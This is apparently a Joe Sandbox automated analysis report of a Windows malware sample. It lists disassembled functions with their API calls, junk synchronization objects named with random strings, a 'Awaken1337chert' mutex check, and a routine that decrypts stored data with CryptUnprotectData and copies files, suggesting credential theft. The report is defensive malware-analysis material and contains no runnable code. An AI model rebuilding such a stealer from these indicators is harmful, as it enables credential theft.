CancelWaitableTimer.KERNEL32(00000000), ref: 0040C5AB
GetLastError.KERNEL32 ref: 0040C5B3
LocalAlloc.KERNEL32(00000000,?), ref: 0040C5B9
lstrcmpW.KERNEL32(00000030,?), ref: 0040C5E2
LocalFree.KERNEL32(00000000), ref: 0040C5F6
LocalFree.KERNEL32(0040C65F), ref: 0040C610

Strings

hbqwhowh, xrefs: 0040C3FA
XMLuwgraukp, xrefs: 0040C42A
emjftx5q, xrefs: 0040C594
WTMR_5ar8d5pq, xrefs: 0040C586
MTX9sbfglyu, xrefs: 0040C4D3
14jkl7ng, xrefs: 0040C509
SMPHR_gu27spmh, xrefs: 0040C3D3
WTMR_xwqa5bp3, xrefs: 0040C478
SMPHR_2820vcoz, xrefs: 0040C55A
npj2p9ma, xrefs: 0040C50E
log: y884zl2d, xrefs: 0040C536
s_yit1zm6t, xrefs: 0040C548
ev_lcpl75u7, xrefs: 0040C3AF
ne03y3xh, xrefs: 0040C3FF
031e7rv0, xrefs: 0040C482
hxl3eu5d, xrefs: 0040C487
log: 4ympeoza, xrefs: 0040C416
log: ozpt0x1c, xrefs: 0040C57B
WTMR_9o8f5hj7, xrefs: 0040C463
reg18u9r4l3, xrefs: 0040C4F0
reghzuad84y, xrefs: 0040C44D
mtu3fal1, xrefs: 0040C599
s_u37n9csy, xrefs: 0040C4A4

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$SemaphoreTimerWaitable$ErrorLastLocal$EnvironmentFindReleaseVariable$CancelCloseDebugEventFileFreeOutputString$AllocFirstMutexOpen$HandleMappingResetlstrcmp
String ID: 031e7rv0$14jkl7ng$MTX9sbfglyu$SMPHR_2820vcoz$SMPHR_gu27spmh$WTMR_5ar8d5pq$WTMR_9o8f5hj7$WTMR_xwqa5bp3$XMLuwgraukp$emjftx5q$ev_lcpl75u7$hbqwhowh$hxl3eu5d$log: 4ympeoza$log: ozpt0x1c$log: y884zl2d$mtu3fal1$ne03y3xh$npj2p9ma$reg18u9r4l3$reghzuad84y$s_u37n9csy$s_yit1zm6t
API String ID: 4277110431-1756602303
Opcode ID: dbd327424de987f49050e374b5d9cc2bfb5b214be2d81b462f4894f190321aa9
Instruction ID: 8cef2524e7068157ed37ffac29e578dd1c06eb5fc27e4e824aa88fa46a4f22e1
Opcode Fuzzy Hash: dbd327424de987f49050e374b5d9cc2bfb5b214be2d81b462f4894f190321aa9
Instruction Fuzzy Hash: F9614E72940614FFDB116BA0DD89EDF3E7CEB49745B108662FA02F21A1C6B88951CB6C

Function 0040C6B4 Relevance: 114.0, APIs: 43, Strings: 22, Instructions: 208
timememoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_meca1nbj), ref: 0040C6D3
GetLastError.KERNEL32 ref: 0040C6D7
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040C6E1
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_18tg4uqv), ref: 0040C6F1
SetEvent.KERNEL32(00000000), ref: 0040C6FA
ResetEvent.KERNEL32(00000000), ref: 0040C701
LocalAlloc.KERNEL32(00000000,00000DC6), ref: 0040C70F
LocalFree.KERNEL32(00000000), ref: 0040C716
RegOpenKeyExA.ADVAPI32(80000001,regkqkfvk6c,00000000,00020019,?), ref: 0040C730
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLkb6th7mu), ref: 0040C73E
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040C743
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_zkc1mvqr), ref: 0040C756
CancelWaitableTimer.KERNEL32(00000000), ref: 0040C75F
FindFirstFileA.KERNELBASE(s_oivhvbxk,?), ref: 0040C76D
FindClose.KERNEL32(00000000), ref: 0040C774
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_dfh8gmaf), ref: 0040C782
OutputDebugStringA.KERNEL32(log: kr1rb5p8), ref: 0040C78B
CancelWaitableTimer.KERNEL32(00000000), ref: 0040C796
GetLastError.KERNEL32 ref: 0040C79A
StrStrW.SHLWAPI(?), ref: 0040C7AD
StrStrW.SHLWAPI(-00000010), ref: 0040C7CB
LocalAlloc.KERNEL32(00000000,000009EC), ref: 0040C7EF
LocalFree.KERNEL32(00000000), ref: 0040C7F6
CreateMutexA.KERNEL32(00000000,00000000,MTXwqcngbmi), ref: 0040C805
SetEnvironmentVariableA.KERNEL32(zg1ukjef,1kqihaqh), ref: 0040C81B
ReleaseMutex.KERNEL32(00000000), ref: 0040C822
OutputDebugStringA.KERNEL32(log: qy2z6ptd), ref: 0040C835
OutputDebugStringA.KERNEL32(log: 48j86lzl), ref: 0040C83C
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_5gkn4rxo), ref: 0040C84C
CancelWaitableTimer.KERNEL32(00000000), ref: 0040C853
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_57my9t7r), ref: 0040C861
SetEnvironmentVariableA.KERNEL32(872lhffk,w0vng15x), ref: 0040C86F
CancelWaitableTimer.KERNEL32(00000000), ref: 0040C876
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLpoiqhfu4), ref: 0040C88C
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040C892
SetEnvironmentVariableA.KERNEL32(6ywwxdw5,26eiq9q4), ref: 0040C8A2
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_3xsp4nal), ref: 0040C8B2
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040C8B9
RegOpenKeyExA.ADVAPI32(80000001,regeviqws1u,00000000,00020019,?), ref: 0040C8D7
lstrlenW.KERNEL32(-00000010), ref: 0040C8DE
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040C8E9
StrCpyW.SHLWAPI(?,?), ref: 0040C913
LocalFree.KERNEL32(?), ref: 0040C91E

Strings

SMPHR_meca1nbj, xrefs: 0040C6C6
XMLpoiqhfu4, xrefs: 0040C882
6ywwxdw5, xrefs: 0040C89D
1kqihaqh, xrefs: 0040C811
872lhffk, xrefs: 0040C868
log: qy2z6ptd, xrefs: 0040C830
WTMR_dfh8gmaf, xrefs: 0040C77A
WTMR_57my9t7r, xrefs: 0040C859
WTMR_zkc1mvqr, xrefs: 0040C749
log: kr1rb5p8, xrefs: 0040C784
w0vng15x, xrefs: 0040C863
regeviqws1u, xrefs: 0040C8CD
SMPHR_3xsp4nal, xrefs: 0040C8A8
s_oivhvbxk, xrefs: 0040C768
regkqkfvk6c, xrefs: 0040C726
log: 48j86lzl, xrefs: 0040C837
ev_18tg4uqv, xrefs: 0040C6E7
MTXwqcngbmi, xrefs: 0040C7FC
XMLkb6th7mu, xrefs: 0040C736
zg1ukjef, xrefs: 0040C816
26eiq9q4, xrefs: 0040C898
WTMR_5gkn4rxo, xrefs: 0040C844

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$SemaphoreTimerWaitable$Local$Release$Cancel$AllocDebugEnvironmentEventFreeOutputStringVariable$ErrorFindLastMutexOpen$CloseFileFirstResetlstrlen
String ID: 1kqihaqh$26eiq9q4$6ywwxdw5$872lhffk$MTXwqcngbmi$SMPHR_3xsp4nal$SMPHR_meca1nbj$WTMR_57my9t7r$WTMR_5gkn4rxo$WTMR_dfh8gmaf$WTMR_zkc1mvqr$XMLkb6th7mu$XMLpoiqhfu4$ev_18tg4uqv$log: 48j86lzl$log: kr1rb5p8$log: qy2z6ptd$regeviqws1u$regkqkfvk6c$s_oivhvbxk$w0vng15x$zg1ukjef
API String ID: 765519562-4141193031
Opcode ID: c11d3686eb58997db863849d5f763ecd2fafe6cfbec8841b9ebe8e14f55cca81
Instruction ID: 1016ea87099a38e8aac57e63d3d994e455369c36d6c4b2e498bf05e9e82573b2
Opcode Fuzzy Hash: c11d3686eb58997db863849d5f763ecd2fafe6cfbec8841b9ebe8e14f55cca81
Instruction Fuzzy Hash: 1B516132640714FBD7205BA19D4DFDB3E68EB89B51F108226FB05E61E0C6F89550CBAD

Function 0040FEFF Relevance: 110.5, APIs: 42, Strings: 21, Instructions: 224timeregistrymemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,7622E010,00000000,76229350), ref: 0040FF16
lstrlenA.KERNEL32(00413180), ref: 0040FF1F
LocalAlloc.KERNEL32(00000040,00000071), ref: 0040FF2D
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_wljugi56), ref: 0040FF5D
GetLastError.KERNEL32(?,?), ref: 0040FF65
CancelWaitableTimer.KERNEL32(00000000), ref: 0040FF72
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_c9wlbmcn), ref: 0040FF7D
CancelWaitableTimer.KERNEL32(00000000), ref: 0040FF88
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_qwu8h6c1), ref: 0040FF95
SetEvent.KERNEL32(00000000), ref: 0040FF9E
ResetEvent.KERNEL32(00000000), ref: 0040FFA5
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML49w0xtxh), ref: 0040FFBC
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FFC3
FindFirstFileA.KERNEL32(s_hpiay4yo,?), ref: 0040FFD5
FindClose.KERNEL32(00000000), ref: 0040FFDC
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_duy5lb45), ref: 0040FFED
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FFF5
GetLastError.KERNEL32 ref: 0040FFFF
LocalAlloc.KERNEL32(00000000,000009E3), ref: 00410046
LocalFree.KERNEL32(00000000), ref: 0041004D
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_iqk31n2o), ref: 0041005B
SetEnvironmentVariableA.KERNEL32(8ssz0tky,g2hqrh3i), ref: 0041006D
CancelWaitableTimer.KERNEL32(00000000), ref: 00410074
OutputDebugStringA.KERNEL32(log: i3x50znv), ref: 00410088
FindFirstFileA.KERNEL32(s_gu5l075y,?), ref: 0041009B
FindClose.KERNEL32(00000000), ref: 004100A2
CreateEventA.KERNEL32(00000003,00000001,00000003,ev_swcb0806), ref: 004100B1
SetEvent.KERNEL32(00000000), ref: 004100BA
ResetEvent.KERNEL32(00000000), ref: 004100C1
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML79yyc56r), ref: 004100D2
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004100DC
RegOpenKeyExA.ADVAPI32(80000001,regqv6u56ih,00000000,00020019,?), ref: 004100FC
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_2dr4m4sq), ref: 00410107
RegOpenKeyExA.ADVAPI32(80000001,reg19hk9t3b,00000000,00020019,?), ref: 00410125
CancelWaitableTimer.KERNEL32(0040BC26), ref: 0041012F
OutputDebugStringA.KERNEL32(log: o35s0a4a), ref: 0041013C
CreateMutexA.KERNEL32(00000000,00000000,MTXehppwibz), ref: 00410147
GetLastError.KERNEL32 ref: 00410153
ReleaseMutex.KERNEL32(00000000), ref: 0041015A
OutputDebugStringA.KERNEL32(log: ckhvwaxl), ref: 00410177
RegOpenKeyExA.ADVAPI32(80000001,reg29osyknc,00000000,00020019,0040BC26), ref: 0041018E
GlobalFree.KERNEL32(?), ref: 00410197

Strings

WTMR_2dr4m4sq, xrefs: 004100FE
log: o35s0a4a, xrefs: 00410137
ev_qwu8h6c1, xrefs: 0040FF8A
g2hqrh3i, xrefs: 00410061
WTMR_c9wlbmcn, xrefs: 0040FF74
XML49w0xtxh, xrefs: 0040FFB1
log: ckhvwaxl, xrefs: 00410172
s_hpiay4yo, xrefs: 0040FFD0
log: i3x50znv, xrefs: 00410083
WTMR_iqk31n2o, xrefs: 00410053
reghp6cg27x, xrefs: 0041016B
XML79yyc56r, xrefs: 004100C7
SMPHR_duy5lb45, xrefs: 0040FFE2
reg19hk9t3b, xrefs: 0041011B
WTMR_wljugi56, xrefs: 0040FF54
reg29osyknc, xrefs: 00410184
ev_swcb0806, xrefs: 004100A8
8ssz0tky, xrefs: 00410066
MTXehppwibz, xrefs: 0041013E
s_gu5l075y, xrefs: 00410096
regqv6u56ih, xrefs: 004100F2

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$TimerWaitable$EventSemaphore$CancelFindRelease$DebugErrorLastLocalOpenOutputString$AllocCloseFileFirstFreeMutexResetlstrlen$EnvironmentGlobalVariable
String ID: 8ssz0tky$MTXehppwibz$SMPHR_duy5lb45$WTMR_2dr4m4sq$WTMR_c9wlbmcn$WTMR_iqk31n2o$WTMR_wljugi56$XML49w0xtxh$XML79yyc56r$ev_qwu8h6c1$ev_swcb0806$g2hqrh3i$log: ckhvwaxl$log: i3x50znv$log: o35s0a4a$reg19hk9t3b$reg29osyknc$reghp6cg27x$regqv6u56ih$s_gu5l075y$s_hpiay4yo
API String ID: 2831261836-3188491458
Opcode ID: 12745f09a5c2d9bba4c7336f73013c685fd53e175e88aeee619f21071a8ab868
Instruction ID: caec2aa5c3f2e53cc3ea271c5983fcf64eefeff72ddad3a0b211d1fb83967e1c
Opcode Fuzzy Hash: 12745f09a5c2d9bba4c7336f73013c685fd53e175e88aeee619f21071a8ab868
Instruction Fuzzy Hash: F3619431A80314BBE7206BA09D0DFDE3E69AB0DB51F118266F705E61D1CAF88991C76D

Function 00403FB8 Relevance: 89.7, APIs: 48, Strings: 3, Instructions: 409memorylibraryloaderCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000400,00000000,?,?), ref: 00403FCD
StrCpyW.SHLWAPI(00000000,?), ref: 00403FD7

Part of subcall function 004025C2: CryptStringToBinaryW.CRYPT32(00000000,00000000,00000001,00000000,5@,00000000,00000000), ref: 004025E1
Part of subcall function 004025C2: LocalAlloc.KERNEL32(00000040,5@,?,004035EB,?), ref: 004025EF
Part of subcall function 004025C2: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,5@,00000000,00000000), ref: 00402605
Part of subcall function 004025C2: LocalFree.KERNEL32(00000000,?,004035EB,?), ref: 00402613

LocalAlloc.KERNEL32(00000040,?), ref: 00403FFA
LocalAlloc.KERNEL32(00000040,00000400), ref: 0040402B
LocalFree.KERNEL32(00000000), ref: 0040403F
CryptUnprotectData.CRYPT32(00000200,00000000,00000000,00000000,00000000,00000000,?), ref: 00404057
StrCpyW.SHLWAPI(?,1@), ref: 0040407A
LocalFree.KERNEL32(00000000), ref: 0040408B
LocalFree.KERNEL32(00000000), ref: 0040409A
LocalFree.KERNEL32(00000000), ref: 004040A9
LocalFree.KERNEL32(00000000), ref: 004040B4
LocalFree.KERNEL32(00000000), ref: 004040BF
GetProcAddress.KERNEL32(1@), ref: 004040D7
GetProcAddress.KERNEL32(1@), ref: 004040E9
GetProcAddress.KERNEL32(1@), ref: 004040FB
GetProcAddress.KERNEL32(1@), ref: 0040410D
GetProcAddress.KERNEL32(1@), ref: 0040411F
GetProcAddress.KERNEL32(1@), ref: 00404131
GetProcAddress.KERNEL32(1@), ref: 00404143
GetProcAddress.KERNEL32(1@), ref: 00404155
LocalAlloc.KERNEL32(00000040,00000208), ref: 00404168
LocalAlloc.KERNEL32(00000040,00000208), ref: 00404173
PathCombineW.SHLWAPI(00000000,?), ref: 00404186
CopyFileW.KERNEL32(00000000,?,00000000), ref: 004041A5
LocalFree.KERNEL32(00000000), ref: 004041D3
LocalFree.KERNEL32(?), ref: 004041DA
LocalFree.KERNEL32(00000000), ref: 00404206
LocalFree.KERNEL32(?), ref: 0040420D
LocalAlloc.KERNEL32(00000040,?), ref: 004042E3
lstrcpy.KERNEL32(00000000,00000000), ref: 004042EB
LocalAlloc.KERNEL32(00000040,00002000), ref: 00404318
lstrcmp.KERNEL32(?), ref: 00404335
LocalAlloc.KERNEL32(00000040,?), ref: 00404348
LocalFree.KERNEL32(00000000), ref: 004044A4
DeleteFileW.KERNEL32(?), ref: 004044AB
LocalFree.KERNEL32(?), ref: 004044B2

Strings

1@, xrefs: 004041B3, 00404067, 0040406F, 00404077, 004041B6
1@, xrefs: 004042A1, 004042B6, 004042CA, 00404480, 0040424B, 00404213, 00404455, 00404240, 004041F5, 00404266, 004041E9, 00404476, 00404274, 0040428C, 00404225, 00404259
1@, xrefs: 004040C5, 004040D6, 004040E8, 004040FA, 0040410C, 0040411E, 00404130, 00404142, 00404154

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$AddressProc$Crypt$BinaryFileString$CombineCopyDataDeletePathUnprotectlstrcmplstrcpy
String ID: 1@$1@$1@
API String ID: 3411720399-2057208365
Opcode ID: 43322726efb19cd652b554b0e5897111d73a488233b7b52aa22291a7b9a64f92
Instruction ID: 4345770c84e7d366b9edde4bd278d8abf6f9d2fa35fca7a3cb108491f15c3c3e
Opcode Fuzzy Hash: 43322726efb19cd652b554b0e5897111d73a488233b7b52aa22291a7b9a64f92
Instruction Fuzzy Hash: AFF14A71909215EFDB119FA0EC48AEEBFB5FF48711F108079FA05B22A0DB395910DB69

Function 0040EA07 Relevance: 85.9, APIs: 28, Strings: 21, Instructions: 139registrytimesynchronizationCOMMON

Download Yara Rule

APIs

SetEnvironmentVariableA.KERNEL32(s3ykm8l6,ry5squyx,75B4EC10,7622E010,76229350), ref: 0040EA26
CreateWaitableTimerA.KERNEL32(00000001,00000001,WTMR_vw2k9cb7), ref: 0040EA35
CancelWaitableTimer.KERNEL32(00000000), ref: 0040EA3C
RegOpenKeyExA.KERNEL32(80000001,regf5p8hyeo,00000001,00020019,?), ref: 0040EA5C
LocalAlloc.KERNEL32(00000001,0000005C), ref: 0040EA61
SetEnvironmentVariableA.KERNEL32(00qcs588,h7s40k26), ref: 0040EA73
LocalFree.KERNEL32(00000000), ref: 0040EA76
RegOpenKeyExA.KERNEL32(80000001,regmh0yux4u,00000000,00020019,?), ref: 0040EA92
CreateMutexA.KERNEL32(00000000,00000000,MTXp6l6fzp9), ref: 0040EA9B
ReleaseMutex.KERNEL32(00000000), ref: 0040EAA6
SetEnvironmentVariableA.KERNEL32(mzrzrmth,869hbxmr), ref: 0040EAB6
OutputDebugStringA.KERNEL32(log: h0f07nyn), ref: 0040EABF
RegOpenKeyExA.ADVAPI32(80000001,reg8b6exg06,00000000,00020019,?), ref: 0040EAD9
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_y3th0kix), ref: 0040EAE3
OutputDebugStringA.KERNEL32(log: 2jej4iqq), ref: 0040EAF0
CancelWaitableTimer.KERNEL32(00000000), ref: 0040EAFB
GetLastError.KERNEL32 ref: 0040EB03
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_q4ucthp9), ref: 0040EB14
SetEvent.KERNEL32(00000000), ref: 0040EB1D
ResetEvent.KERNEL32(00000000), ref: 0040EB24
FindFirstFileA.KERNEL32(s_r78eaf68,?), ref: 0040EB36
FindClose.KERNEL32(00000000), ref: 0040EB3D
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_sjuk8jtd), ref: 0040EB4E
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040EB58
RegOpenKeyExA.KERNEL32(80000001,regv0i092fq,00000000,00020019,?), ref: 0040EB76
SetEnvironmentVariableA.KERNEL32(90qzqyhk,qqfkypih), ref: 0040EB84
OpenMutexW.KERNEL32(001F0001,00000000,Awaken1337chert), ref: 0040EB92
CreateMutexW.KERNEL32(00000000,00000000,Awaken1337chert), ref: 0040EB9F

Strings

mzrzrmth, xrefs: 0040EAB1
869hbxmr, xrefs: 0040EAAC
ry5squyx, xrefs: 0040EA1C
s_r78eaf68, xrefs: 0040EB31
regf5p8hyeo, xrefs: 0040EA52
90qzqyhk, xrefs: 0040EB7F
Awaken1337chert, xrefs: 0040EB86, 0040EB8B, 0040EB9C
h7s40k26, xrefs: 0040EA67
SMPHR_sjuk8jtd, xrefs: 0040EB43
s3ykm8l6, xrefs: 0040EA21
log: h0f07nyn, xrefs: 0040EABA
log: 2jej4iqq, xrefs: 0040EAE9
reg8b6exg06, xrefs: 0040EACF
WTMR_y3th0kix, xrefs: 0040EADB
regmh0yux4u, xrefs: 0040EA88
ev_q4ucthp9, xrefs: 0040EB09
regv0i092fq, xrefs: 0040EB6C
00qcs588, xrefs: 0040EA6C
qqfkypih, xrefs: 0040EB7A
WTMR_vw2k9cb7, xrefs: 0040EA2D
MTXp6l6fzp9, xrefs: 0040EA94

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$Open$EnvironmentMutexTimerVariableWaitable$Event$CancelDebugFindLocalOutputReleaseSemaphoreString$AllocCloseErrorFileFirstFreeLastReset
String ID: 00qcs588$869hbxmr$90qzqyhk$Awaken1337chert$MTXp6l6fzp9$SMPHR_sjuk8jtd$WTMR_vw2k9cb7$WTMR_y3th0kix$ev_q4ucthp9$h7s40k26$log: 2jej4iqq$log: h0f07nyn$mzrzrmth$qqfkypih$reg8b6exg06$regf5p8hyeo$regmh0yux4u$regv0i092fq$ry5squyx$s3ykm8l6$s_r78eaf68
API String ID: 3831867702-1655269456
Opcode ID: 73f4fef97162db4d278aa644d6a151b1e94fc81e7b6b8b5f33c3450a335a73f7
Instruction ID: 74ac76c5cbac4a06a86a21bf3854cbb81dec6e8fa2d3f58d530de611a1e4e4cf
Opcode Fuzzy Hash: 73f4fef97162db4d278aa644d6a151b1e94fc81e7b6b8b5f33c3450a335a73f7
Instruction Fuzzy Hash: 4E41A131640A24FAD62077A19D4DFDF3E2CEF89B55B104532F705F5091C6E885A1C6BD

Function 0040EBB1 Relevance: 84.2, APIs: 35, Strings: 13, Instructions: 172timeregistrymemoryCOMMON

Download Yara Rule

APIs

CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_s3n8slrd), ref: 0040EBCA
SetEnvironmentVariableA.KERNEL32(cu2mu7lp,zbf06q98), ref: 0040EBDC
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040EBE5
RegOpenKeyExA.KERNELBASE(80000001,regpnw0cplv,00000000,00020019,004092C0), ref: 0040EC0A
OutputDebugStringA.KERNEL32(log: jkdhegcj), ref: 0040EC14
CreateSemaphoreA.KERNEL32(00000005,00000005,00000001,XMLstk304cz), ref: 0040EC27
ReleaseSemaphore.KERNEL32(00000000,00000001,00000005), ref: 0040EC30
CreateEventA.KERNEL32(00000005,00000001,00000005,ev_a7hx8ohm), ref: 0040EC3E
SetEvent.KERNEL32(00000000), ref: 0040EC47
ResetEvent.KERNEL32(00000000), ref: 0040EC4E
LocalAlloc.KERNEL32(00000000,00000177), ref: 0040EC5B
LocalFree.KERNEL32(00000000), ref: 0040EC62
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_r0uby8i6), ref: 0040EC76
CancelWaitableTimer.KERNEL32(00000000), ref: 0040EC79
FindFirstFileA.KERNEL32(s_bbxqh9wp,?), ref: 0040EC8B
FindClose.KERNEL32(00000000), ref: 0040EC92
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000C77,00000000), ref: 0040ECA6
CloseHandle.KERNEL32(00000000), ref: 0040ECAD
OutputDebugStringA.KERNEL32(log: tlungbb4), ref: 0040ECB8
CreateMutexA.KERNEL32(00000000,00000000,MTXv4ff6r9c), ref: 0040ECC7
ReleaseMutex.KERNEL32(00000000), ref: 0040ECD2
RegOpenKeyExA.ADVAPI32(80000001,regzhqr3rcu,00000000,00020019,004092C0), ref: 0040ECEF
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_nwwi1brb), ref: 0040ECF9
GetLastError.KERNEL32 ref: 0040ED03
CancelWaitableTimer.KERNEL32(00000000), ref: 0040ED0A
GetLastError.KERNEL32 ref: 0040ED10
GetCurrentProcess.KERNEL32(00000008,?), ref: 0040ED1D
OpenProcessToken.ADVAPI32(00000000), ref: 0040ED24
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,?,?), ref: 0040ED3A
GetLastError.KERNEL32 ref: 0040ED44
GlobalAlloc.KERNEL32(00000040,?), ref: 0040ED54
GetTokenInformation.KERNELBASE(?,TokenIntegrityLevel,00000000,?,?), ref: 0040ED68
ConvertSidToStringSidW.ADVAPI32(00000000,?), ref: 0040ED7B
lstrcmpiW.KERNEL32(?), ref: 0040ED8E
GlobalFree.KERNEL32(00000000), ref: 0040ED9A

Strings

WTMR_nwwi1brb, xrefs: 0040ECF1
zbf06q98, xrefs: 0040EBD0
ev_a7hx8ohm, xrefs: 0040EC36
regpnw0cplv, xrefs: 0040EC00
log: tlungbb4, xrefs: 0040ECB3
cu2mu7lp, xrefs: 0040EBD5
s_bbxqh9wp, xrefs: 0040EC86
SMPHR_s3n8slrd, xrefs: 0040EBBD
WTMR_r0uby8i6, xrefs: 0040EC6E
log: jkdhegcj, xrefs: 0040EC0F
XMLstk304cz, xrefs: 0040EC1F
MTXv4ff6r9c, xrefs: 0040ECBE
regzhqr3rcu, xrefs: 0040ECE5

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$SemaphoreTimerWaitable$ErrorEventLastOpenReleaseStringToken$AllocCancelCloseDebugFileFindFreeGlobalInformationLocalMutexOutputProcess$ConvertCurrentEnvironmentFirstHandleMappingResetVariablelstrcmpi
String ID: MTXv4ff6r9c$SMPHR_s3n8slrd$WTMR_nwwi1brb$WTMR_r0uby8i6$XMLstk304cz$cu2mu7lp$ev_a7hx8ohm$log: jkdhegcj$log: tlungbb4$regpnw0cplv$regzhqr3rcu$s_bbxqh9wp$zbf06q98
API String ID: 1793070056-4225317271
Opcode ID: d4461433d1c7b3ce5cd793b40d13b205e80dc38de42a645eba2ff5b241e5b5a2
Instruction ID: 12177b7c938b5bec870acbdd24c599e1eb36dd12754c8bc22c751131d5523fc0
Opcode Fuzzy Hash: d4461433d1c7b3ce5cd793b40d13b205e80dc38de42a645eba2ff5b241e5b5a2
Instruction Fuzzy Hash: AD516871A40214FFE7205BA19E4DFEB3E7CEB89751F108522FA05E51A0C6B88A50DB69

Function 00406CC5 Relevance: 75.6, APIs: 42, Strings: 1, Instructions: 358memoryfilestringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000020A,00000000,?,00000000), ref: 00406CF2
StrCpyW.SHLWAPI(00000000,00000040), ref: 00406CFD
lstrlenW.KERNEL32(00000000), ref: 00406D09
FindFirstFileW.KERNELBASE(00000000,?), ref: 00406D42
LocalFree.KERNEL32(00000000), ref: 00406D53

Strings

@j@, xrefs: 00406CC5

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

